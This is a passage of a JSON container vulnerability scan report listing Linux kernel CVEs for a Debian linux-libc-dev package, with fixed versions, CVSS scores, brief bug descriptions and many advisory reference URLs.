"https://bugzilla.redhat.com/2334537", "https://bugzilla.redhat.com/2334547", "https://bugzilla.redhat.com/2334548", "https://bugzilla.redhat.com/2334560", "https://bugzilla.redhat.com/2334676", "https://bugzilla.redhat.com/2334795", "https://bugzilla.redhat.com/2334829", "https://bugzilla.redhat.com/2336541", "https://bugzilla.redhat.com/2337121", "https://bugzilla.redhat.com/2337124", "https://bugzilla.redhat.com/2338814", "https://bugzilla.redhat.com/2338828", "https://bugzilla.redhat.com/2338832", "https://bugzilla.redhat.com/2343172", "https://bugzilla.redhat.com/2343175", "https://bugzilla.redhat.com/2344684", "https://bugzilla.redhat.com/2344687", "https://bugzilla.redhat.com/2345240", "https://bugzilla.redhat.com/2346272", "https://bugzilla.redhat.com/2347707", "https://bugzilla.redhat.com/2347753", "https://bugzilla.redhat.com/2347759", "https://bugzilla.redhat.com/2347781", "https://bugzilla.redhat.com/2347807", "https://bugzilla.redhat.com/2347859", "https://bugzilla.redhat.com/2347919", "https://bugzilla.redhat.com/2347968", "https://bugzilla.redhat.com/2348022", "https://bugzilla.redhat.com/2348071", "https://bugzilla.redhat.com/2348238", "https://bugzilla.redhat.com/2348240", "https://bugzilla.redhat.com/2348279", "https://bugzilla.redhat.com/2348515", "https://bugzilla.redhat.com/2348523", "https://bugzilla.redhat.com/2348528", "https://bugzilla.redhat.com/2348541", "https://bugzilla.redhat.com/2348543", "https://bugzilla.redhat.com/2348547", "https://bugzilla.redhat.com/2348550", "https://bugzilla.redhat.com/2348554", "https://bugzilla.redhat.com/2348556", "https://bugzilla.redhat.com/2348566", "https://bugzilla.redhat.com/2348573", "https://bugzilla.redhat.com/2348574", "https://bugzilla.redhat.com/2348577", "https://bugzilla.redhat.com/2348578", "https://bugzilla.redhat.com/2348581", "https://bugzilla.redhat.com/2348584", "https://bugzilla.redhat.com/2348585", "https://bugzilla.redhat.com/2348587", "https://bugzilla.redhat.com/2348595", "https://bugzilla.redhat.com/2348597", "https://bugzilla.redhat.com/2348600", "https://bugzilla.redhat.com/2348601", "https://bugzilla.redhat.com/2348615", "https://bugzilla.redhat.com/2348620", "https://bugzilla.redhat.com/2348625", "https://bugzilla.redhat.com/2348634", "https://bugzilla.redhat.com/2348645", "https://bugzilla.redhat.com/2348650", "https://bugzilla.redhat.com/2348654", "https://bugzilla.redhat.com/2348901", "https://bugzilla.redhat.com/2350363", "https://bugzilla.redhat.com/2350367", "https://bugzilla.redhat.com/2350374", "https://bugzilla.redhat.com/2350375", "https://bugzilla.redhat.com/2350386", "https://bugzilla.redhat.com/2350388", "https://bugzilla.redhat.com/2350392", "https://bugzilla.redhat.com/2350396", "https://bugzilla.redhat.com/2350397", "https://bugzilla.redhat.com/2350400", "https://bugzilla.redhat.com/2350585", "https://bugzilla.redhat.com/2350589", "https://bugzilla.redhat.com/2350725", "https://bugzilla.redhat.com/2350726", "https://bugzilla.redhat.com/2351606", "https://bugzilla.redhat.com/2351608", "https://bugzilla.redhat.com/2351612", "https://bugzilla.redhat.com/2351613", "https://bugzilla.redhat.com/2351616", "https://bugzilla.redhat.com/2351618", "https://bugzilla.redhat.com/2351620", "https://bugzilla.redhat.com/2351624", "https://bugzilla.redhat.com/2351625", "https://bugzilla.redhat.com/2351629", "https://bugzilla.redhat.com/2351633", "https://bugzilla.redhat.com/2360215", "https://bugzilla.redhat.com/2363380", "https://bugzilla.redhat.com/2369184", "https://bugzilla.redhat.com/2376076", "https://bugzilla.redhat.com/2383441", "https://bugzilla.redhat.com/show_bug.cgi?id=2298169", "https://bugzilla.redhat.com/show_bug.cgi?id=2312077", "https://bugzilla.redhat.com/show_bug.cgi?id=2313092", "https://bugzilla.redhat.com/show_bug.cgi?id=2320172", "https://bugzilla.redhat.com/show_bug.cgi?id=2320259", "https://bugzilla.redhat.com/show_bug.cgi?id=2320455", "https://bugzilla.redhat.com/show_bug.cgi?id=2320616", "https://bugzilla.redhat.com/show_bug.cgi?id=2320722", "https://bugzilla.redhat.com/show_bug.cgi?id=2324549", "https://bugzilla.redhat.com/show_bug.cgi?id=2327203", "https://bugzilla.redhat.com/show_bug.cgi?id=2327374", "https://bugzilla.redhat.com/show_bug.cgi?id=2327887", "https://bugzilla.redhat.com/show_bug.cgi?id=2329918", "https://bugzilla.redhat.com/show_bug.cgi?id=2330341", "https://bugzilla.redhat.com/show_bug.cgi?id=2331326", "https://bugzilla.redhat.com/show_bug.cgi?id=2334357", "https://bugzilla.redhat.com/show_bug.cgi?id=2334396", "https://bugzilla.redhat.com/show_bug.cgi?id=2334415", "https://bugzilla.redhat.com/show_bug.cgi?id=2334439", "https://bugzilla.redhat.com/show_bug.cgi?id=2334537", "https://bugzilla.redhat.com/show_bug.cgi?id=2334547", "https://bugzilla.redhat.com/show_bug.cgi?id=2334548", "https://bugzilla.redhat.com/show_bug.cgi?id=2334560", "https://bugzilla.redhat.com/show_bug.cgi?id=2334676", "https://bugzilla.redhat.com/show_bug.cgi?id=2334795", "https://bugzilla.redhat.com/show_bug.cgi?id=2334829", "https://bugzilla.redhat.com/show_bug.cgi?id=2336541", "https://bugzilla.redhat.com/show_bug.cgi?id=2337121", "https://bugzilla.redhat.com/show_bug.cgi?id=2337124", "https://bugzilla.redhat.com/show_bug.cgi?id=2338814", "https://bugzilla.redhat.com/show_bug.cgi?id=2338828", "https://bugzilla.redhat.com/show_bug.cgi?id=2338832", "https://bugzilla.redhat.com/show_bug.cgi?id=2343172", "https://bugzilla.redhat.com/show_bug.cgi?id=2343175", "https://bugzilla.redhat.com/show_bug.cgi?id=2344684", "https://bugzilla.redhat.com/show_bug.cgi?id=2344687", "https://bugzilla.redhat.com/show_bug.cgi?id=2345240", "https://bugzilla.redhat.com/show_bug.cgi?id=2346272", "https://bugzilla.redhat.com/show_bug.cgi?id=2347707", "https://bugzilla.redhat.com/show_bug.cgi?id=2347753", "https://bugzilla.redhat.com/show_bug.cgi?id=2347759", "https://bugzilla.redhat.com/show_bug.cgi?id=2347781", "https://bugzilla.redhat.com/show_bug.cgi?id=2347807", "https://bugzilla.redhat.com/show_bug.cgi?id=2347859", "https://bugzilla.redhat.com/show_bug.cgi?id=2347919", "https://bugzilla.redhat.com/show_bug.cgi?id=2347968", "https://bugzilla.redhat.com/show_bug.cgi?id=2348022", "https://bugzilla.redhat.com/show_bug.cgi?id=2348071", "https://bugzilla.redhat.com/show_bug.cgi?id=2348238", "https://bugzilla.redhat.com/show_bug.cgi?id=2348240", "https://bugzilla.redhat.com/show_bug.cgi?id=2348279", "https://bugzilla.redhat.com/show_bug.cgi?id=2348515", "https://bugzilla.redhat.com/show_bug.cgi?id=2348523", "https://bugzilla.redhat.com/show_bug.cgi?id=2348528", "https://bugzilla.redhat.com/show_bug.cgi?id=2348541", "https://bugzilla.redhat.com/show_bug.cgi?id=2348543", "https://bugzilla.redhat.com/show_bug.cgi?id=2348547", "https://bugzilla.redhat.com/show_bug.cgi?id=2348550", "https://bugzilla.redhat.com/show_bug.cgi?id=2348554", "https://bugzilla.redhat.com/show_bug.cgi?id=2348556", "https://bugzilla.redhat.com/show_bug.cgi?id=2348566", "https://bugzilla.redhat.com/show_bug.cgi?id=2348573", "https://bugzilla.redhat.com/show_bug.cgi?id=2348574", "https://bugzilla.redhat.com/show_bug.cgi?id=2348577", "https://bugzilla.redhat.com/show_bug.cgi?id=2348578", "https://bugzilla.redhat.com/show_bug.cgi?id=2348581", "https://bugzilla.redhat.com/show_bug.cgi?id=2348584", "https://bugzilla.redhat.com/show_bug.cgi?id=2348585", "https://bugzilla.redhat.com/show_bug.cgi?id=2348587", "https://bugzilla.redhat.com/show_bug.cgi?id=2348595", "https://bugzilla.redhat.com/show_bug.cgi?id=2348597", "https://bugzilla.redhat.com/show_bug.cgi?id=2348600", "https://bugzilla.redhat.com/show_bug.cgi?id=2348601", "https://bugzilla.redhat.com/show_bug.cgi?id=2348615", "https://bugzilla.redhat.com/show_bug.cgi?id=2348620", "https://bugzilla.redhat.com/show_bug.cgi?id=2348625", "https://bugzilla.redhat.com/show_bug.cgi?id=2348634", "https://bugzilla.redhat.com/show_bug.cgi?id=2348645", "https://bugzilla.redhat.com/show_bug.cgi?id=2348650", "https://bugzilla.redhat.com/show_bug.cgi?id=2348654", "https://bugzilla.redhat.com/show_bug.cgi?id=2348901", "https://bugzilla.redhat.com/show_bug.cgi?id=2350363", "https://bugzilla.redhat.com/show_bug.cgi?id=2350367", "https://bugzilla.redhat.com/show_bug.cgi?id=2350374", "https://bugzilla.redhat.com/show_bug.cgi?id=2350375", "https://bugzilla.redhat.com/show_bug.cgi?id=2350386", "https://bugzilla.redhat.com/show_bug.cgi?id=2350388", "https://bugzilla.redhat.com/show_bug.cgi?id=2350392", "https://bugzilla.redhat.com/show_bug.cgi?id=2350396", "https://bugzilla.redhat.com/show_bug.cgi?id=2350397", "https://bugzilla.redhat.com/show_bug.cgi?id=2350400", "https://bugzilla.redhat.com/show_bug.cgi?id=2350585", "https://bugzilla.redhat.com/show_bug.cgi?id=2350589", "https://bugzilla.redhat.com/show_bug.cgi?id=2350725", "https://bugzilla.redhat.com/show_bug.cgi?id=2350726", "https://bugzilla.redhat.com/show_bug.cgi?id=2351606", "https://bugzilla.redhat.com/show_bug.cgi?id=2351608", "https://bugzilla.redhat.com/show_bug.cgi?id=2351612", "https://bugzilla.redhat.com/show_bug.cgi?id=2351613", "https://bugzilla.redhat.com/show_bug.cgi?id=2351616", "https://bugzilla.redhat.com/show_bug.cgi?id=2351618", "https://bugzilla.redhat.com/show_bug.cgi?id=2351620", "https://bugzilla.redhat.com/show_bug.cgi?id=2351624", "https://bugzilla.redhat.com/show_bug.cgi?id=2351625", "https://bugzilla.redhat.com/show_bug.cgi?id=2351629", "https://bugzilla.redhat.com/show_bug.cgi?id=2351633", "https://bugzilla.redhat.com/show_bug.cgi?id=2356647", "https://bugzilla.redhat.com/show_bug.cgi?id=2360215", "https://bugzilla.redhat.com/show_bug.cgi?id=2360223", "https://bugzilla.redhat.com/show_bug.cgi?id=2363380", "https://bugzilla.redhat.com/show_bug.cgi?id=2369184", "https://bugzilla.redhat.com/show_bug.cgi?id=2376076", "https://bugzilla.redhat.com/show_bug.cgi?id=2383441", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-48830", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49024", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49269", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49353", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49357", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49437", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49443", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49623", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49627", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49643", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49648", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49657", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49672", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-49845", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36350", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36357", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-46689", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-46744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-47679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-47727", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-49570", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-49864", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-50060", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-50195", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-50294", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-52332", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53090", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53119", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53135", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53170", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53216", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53229", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53241", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-54456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56645", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56672", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56675", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56690", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56709", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56739", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56786", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57981", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57986", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57987", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57988", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57989", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57990", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57993", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57995", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57998", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58012", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58014", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58057", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58062", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58068", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58075", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58077", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58088", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21631", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21647", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21648", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21672", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21691", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21693", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21696", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21702", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21714", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21726", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21728", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21729", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21738", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21739", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21745", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21765", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21786", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21790", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21791", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21795", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21796", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21806", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21826", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21828", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21837", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21839", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21844", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21846", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21847", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21848", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21851", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21855", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21863", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21864", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21902", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22097", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-37994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38396", "https://errata.almalinux.org/9/ALSA-2025-20518.html", "https://errata.rockylinux.org/RLSA-2025:20518", "https://git.kernel.org/linus/eb8c0534713865d190856f10bfc97cf0b88475b1%20%286.14-rc1%29", "https://git.kernel.org/stable/c/8700c4bf8b7ed98037d2acf1eaf770ad6dd431d4", "https://git.kernel.org/stable/c/eb8c0534713865d190856f10bfc97cf0b88475b1", "https://linux.oracle.com/cve/CVE-2024-58015.html", "https://linux.oracle.com/errata/ELSA-2025-20518-0.html", "https://lore.kernel.org/linux-cve-announce/2025022657-CVE-2024-58015-f72e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-58015", "https://www.cve.org/CVERecord?id=CVE-2024-58015" ], "PublishedDate": "2025-02-27T03:15:12.493Z", "LastModifiedDate": "2026-06-17T08:14:28.097Z" }, { "VulnerabilityID": "CVE-2025-22104", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-22104", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:07644cc1ccd25d7c6cfb8bcbd1dd84fa714ee5fbfe3256fc01d006e6b00cb764", "Title": "kernel: ibmvnic: Use kernel helpers for hex dumps", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nibmvnic: Use kernel helpers for hex dumps\n\nPreviously, when the driver was printing hex dumps, the buffer was cast\nto an 8 byte long and printed using string formatters. If the buffer\nsize was not a multiple of 8 then a read buffer overflow was possible.\n\nTherefore, create a new ibmvnic function that loops over a buffer and\ncalls hex_dump_to_buffer instead.\n\nThis patch address KASAN reports like the one below:\n ibmvnic 30000003 env3: Login Buffer:\n ibmvnic 30000003 env3: 01000000af000000\n \u003c...\u003e\n ibmvnic 30000003 env3: 2e6d62692e736261\n ibmvnic 30000003 env3: 65050003006d6f63\n ==================================================================\n BUG: KASAN: slab-out-of-bounds in ibmvnic_login+0xacc/0xffc [ibmvnic]\n Read of size 8 at addr c0000001331a9aa8 by task ip/17681\n \u003c...\u003e\n Allocated by task 17681:\n \u003c...\u003e\n ibmvnic_login+0x2f0/0xffc [ibmvnic]\n ibmvnic_open+0x148/0x308 [ibmvnic]\n __dev_open+0x1ac/0x304\n \u003c...\u003e\n The buggy address is located 168 bytes inside of\n allocated 175-byte region [c0000001331a9a00, c0000001331a9aaf)\n \u003c...\u003e\n =================================================================\n ibmvnic 30000003 env3: 000000000033766e", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 2, "nvd": 3, "oracle-oval": 2, "redhat": 2, "rocky": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2025:9302", "https://access.redhat.com/security/cve/CVE-2025-22104", "https://bugzilla.redhat.com/2355415", "https://bugzilla.redhat.com/2356618", "https://bugzilla.redhat.com/2360265", "https://bugzilla.redhat.com/2363268", "https://bugzilla.redhat.com/2363305", "https://bugzilla.redhat.com/show_bug.cgi?id=2355415", "https://bugzilla.redhat.com/show_bug.cgi?id=2356618", "https://bugzilla.redhat.com/show_bug.cgi?id=2360265", "https://bugzilla.redhat.com/show_bug.cgi?id=2363268", "https://bugzilla.redhat.com/show_bug.cgi?id=2363305", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21883", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21919", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22104", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-23150", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-37738", "https://errata.almalinux.org/9/ALSA-2025-9302.html", "https://errata.rockylinux.org/RLSA-2025:9302", "https://git.kernel.org/linus/d93a6caab5d7d9b5ce034d75b1e1e993338e3852%20%286.15-rc1%29", "https://git.kernel.org/stable/c/005fee039dd845122d313ac8f2122b0d09dc5d7b", "https://git.kernel.org/stable/c/19efa170e01207c8ada726f3f6c65b31fcba2a73", "https://git.kernel.org/stable/c/9bc078818ec76344c2e06b81d7aee2df3adecfbf", "https://git.kernel.org/stable/c/ae6b1d6c1acee3a2000394d83ec9f1028321e207", "https://git.kernel.org/stable/c/d93a6caab5d7d9b5ce034d75b1e1e993338e3852", "https://linux.oracle.com/cve/CVE-2025-22104.html", "https://linux.oracle.com/errata/ELSA-2025-9896.html", "https://lore.kernel.org/linux-cve-announce/2025041622-CVE-2025-22104-0a82@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-22104", "https://ubuntu.com/security/notices/USN-7594-1", "https://ubuntu.com/security/notices/USN-7594-2", "https://ubuntu.com/security/notices/USN-7594-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2025-22104" ], "PublishedDate": "2025-04-16T15:16:04.733Z", "LastModifiedDate": "2026-09-02T13:16:48.767Z" }, { "VulnerabilityID": "CVE-2025-38137", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38137", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:83e25684443413ba7362cda62fb5ee7d22f3179478fd305c94e2e9c470097bda", "Title": "kernel: PCI/pwrctrl: Cancel outstanding rescan work when unregistering", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nPCI/pwrctrl: Cancel outstanding rescan work when unregistering\n\nIt's possible to trigger use-after-free here by:\n\n (a) forcing rescan_work_func() to take a long time and\n (b) utilizing a pwrctrl driver that may be unloaded for some reason\n\nCancel outstanding work to ensure it is finished before we allow our data\nstructures to be cleaned up.\n\n[bhelgaas: tidy commit log]", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 2, "redhat": 2, "rocky": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2025:13598", "https://access.redhat.com/security/cve/CVE-2025-38137", "https://bugzilla.redhat.com/show_bug.cgi?id=2334820", "https://bugzilla.redhat.com/show_bug.cgi?id=2373383", "https://bugzilla.redhat.com/show_bug.cgi?id=2375303", "https://bugzilla.redhat.com/show_bug.cgi?id=2375304", "https://bugzilla.redhat.com/show_bug.cgi?id=2376064", "https://bugzilla.redhat.com/show_bug.cgi?id=2376078", "https://bugzilla.redhat.com/show_bug.cgi?id=2379219", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56721", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38079", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38084", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38085", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38137", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38159", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38292", "https://errata.rockylinux.org/RLSA-2025:13598", "https://git.kernel.org/linus/8b926f237743f020518162c62b93cb7107a2b5eb%20%286.16-rc1%29", "https://git.kernel.org/stable/c/8b926f237743f020518162c62b93cb7107a2b5eb", "https://git.kernel.org/stable/c/a63ed775f476ba81558bba24d7538836e1ffb823", "https://git.kernel.org/stable/c/b3ad6d23fec23fbef382ce9ea640c37446593cf5", "https://linux.oracle.com/cve/CVE-2025-38137.html", "https://linux.oracle.com/errata/ELSA-2025-13598.html", "https://lore.kernel.org/linux-cve-announce/2025070332-CVE-2025-38137-d4bf@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38137", "https://ubuntu.com/security/notices/USN-7769-1", "https://ubuntu.com/security/notices/USN-7769-2", "https://ubuntu.com/security/notices/USN-7769-3", "https://ubuntu.com/security/notices/USN-7770-1", "https://ubuntu.com/security/notices/USN-7771-1", "https://ubuntu.com/security/notices/USN-7789-1", "https://ubuntu.com/security/notices/USN-7789-2", "https://www.cve.org/CVERecord?id=CVE-2025-38137" ], "PublishedDate": "2025-07-03T09:15:28.24Z", "LastModifiedDate": "2026-10-21T13:18:09Z" }, { "VulnerabilityID": "CVE-2025-38187", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38187", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b0dfc22322bca9a5ae3dffcd567fecceb019cf85a3148adff0ae2d839e3666fe", "Title": "kernel: drm/nouveau: fix a use-after-free in r535_gsp_rpc_push()", "Description": "In the Linux 